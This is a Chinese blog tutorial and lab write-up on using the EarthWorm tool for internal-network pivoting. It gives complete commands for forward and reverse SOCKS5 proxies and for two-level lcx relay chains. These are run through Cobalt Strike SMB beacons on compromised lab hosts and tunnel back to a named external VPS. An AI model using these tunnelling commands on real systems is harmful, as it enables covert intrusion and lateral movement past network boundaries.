EarthWorm内网穿透(结合前2天学的smb上线不出网机器完成一级与二级流量代理)
题记
这几天一直在qq群听人讨论ew,就想着说的人多的工具肯定是好工具,于是打算尝试用一下这个内网大杀器,一开始找工具就遇到难题,作者好像觉得这个工具被用在渗透上停止分享了,终于在别人博客里找到了下载路径。https://www.lanzous.com/i78bvvi。总的体验下来我觉得他比frp还简单,真是一条好蚯蚓啊,钻的隧道真不戳。
准备工作
实验一:一台外网vps(103.234.72.5),内网两台用于验证成功(192.168.1.200是win10,用于搭建ew服务端。192.168.1.132是win8的靶场集合,各个端口对应不同的靶场,验证全局代理成功。)
实验二:一台外网vps(103.234.72.5),(192.168.1.3是win8,为目标代理主机。192.168.1.132是win8的靶场集合,各个端口对应不同的靶场,也是流量中转机器。)
基础知识点
基础知识很重要,可以结合命令自己在本上写写画画,很快就清晰了。
目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:
ssocksd、rcsocks、rssocks、lcx_slave、lcx_tran、lcx_listen
其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。
0x01 socks代理
ssocksd:用来开启Socks5代理服务
rssocks:本地启用Socks5服务,并反弹到另一IP地址
rcsocks:接收反弹过来的Socks5服务,并转向另一端口 其余的lcx链路状态用于打通测试主机同socks服务器之间的通路。
0x02 lcx 类别管道
lcx_slave,lcx_listen:端口转发
lcx_tran:端口映射
lcx_tran:该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
lcx_slave:该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
lcx_listen:该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。
0x03 参数
-l 开放指定端口监听
-d 指定转发或反弹的主机地址
-e 指定转发或反弹的主机端口
-f 指定连接或映射的主机地址
正向socks5服务器
当目标网络边界存在公网IP且可任意开监听端口
./ew_linux_x64 -s ssocksd -l 8888
可在该目标机器上开启一个8888的正向连接,然后其他主机可通过设置代理为目标主机ip:8888 ,添加这个代理就可以使用了
反向socks5服务器
服务器(外网vps)
Xftp把ew传到vps
./ew_linux_x64 -s rcsocks -l 1080 -e 5555
解释:把1080端口收到的请求转发给5555端口。
目标主机
通过CS把ew传到目标主机上,在指定目录输入命令
shell C:\Users\admin\Downloads\ew\release\ew_win32.exe -s rssocks -d 103.234.72.5 -e 5555
解释:在目标主机启动服务,反弹到公网主机的5555端口。
挂上代理就成功了,可以访问内网了。
二级网络环境(一)(这种是先日外网服务器在进内网,因为这里没环境,不实操)
假设我们获得了右侧A主机和B主机的控制权限,A主机配有2块网卡,一块10.129.72.168连通外网,一块192.168.153.140只能连接内网B主机,无法访问内网其它资源。B主机可以访问内网资源,但无法访问外网。
先上传ew到B主机,利用ssocksd方式启动8888端口的SOCKS代理,命令如下
shell C:\ew\release\ew_win32.exe -s ssocksd -l 8888
然后在A主机上执行
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888
意思是把1080端口收到的代理请求转交给B主机(192.168.152.138)的8888端口
然后my pc就可以通过A的外网代理10.129.72.168:1080访问B
二级网络环境(二)(这种是无外网ip,上线后进行内网穿透。这次实际完成这个。)
假设我们获得了右侧A主机和B主机的控制权限,A主机没有公网IP,可访问b,无法访问内网资源。B主机可以访问内网资源,但无法访问外网。
1、先在公网vps添加转接隧道,把10800端口收到的代理请求转给8888端口
./ew_for_linux64 -s lcx_listen -l 10800 -e 8888
2、在B主机上正向开启9999端口
ew_for_Win.exe -s ssocksd -l 9999
3、在主机A上利用lcx_slave,把公网vps的8888端口和主机B的9999端口连接起来
ew_for_Win.exe -s lcx_slave -d 公网VPS -e 8888 -f 192.168.153.138 -g 9999
4、此时my pc可以通过访问公网vps的10800端口来使用B主机(192.168.153.138)提供的9999端口访问到A主机
理论是上面这个理论,下面我来实操一下,我这次采用我昨天学的smbbeacon控制两台主机,在搞代理,这意思就是代理两层了。
实操
先上线132,在smbbeacon上线.3。
遇到坑了:这里需要把2个机器的防火墙关了,要不它拦我流量。
./ew_linux_x64 -s lcx_listen -l 10800 -e 8888(vps运行这个,10800流量转到8888端口)
shell C:\ew\release\ew_win32.exe -s ssocksd -l 9999(.3运行这个,向外开启9999代理)
shell C:\release\ew_win32.exe -s lcx_slave -d 103.234.72.5 -e 8888 -f 192.168.1.3 -g 9999(一边连vps的8888端口,一边连.3的9999端口)
代理成功。
参考文章
http://blog.csdn.net/Z_Z_W_/article/details/104411564?utm_medium=distribute.pc_relevant.none-task-blog-OPENSEARCH-15.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-OPENSEARCH-15.control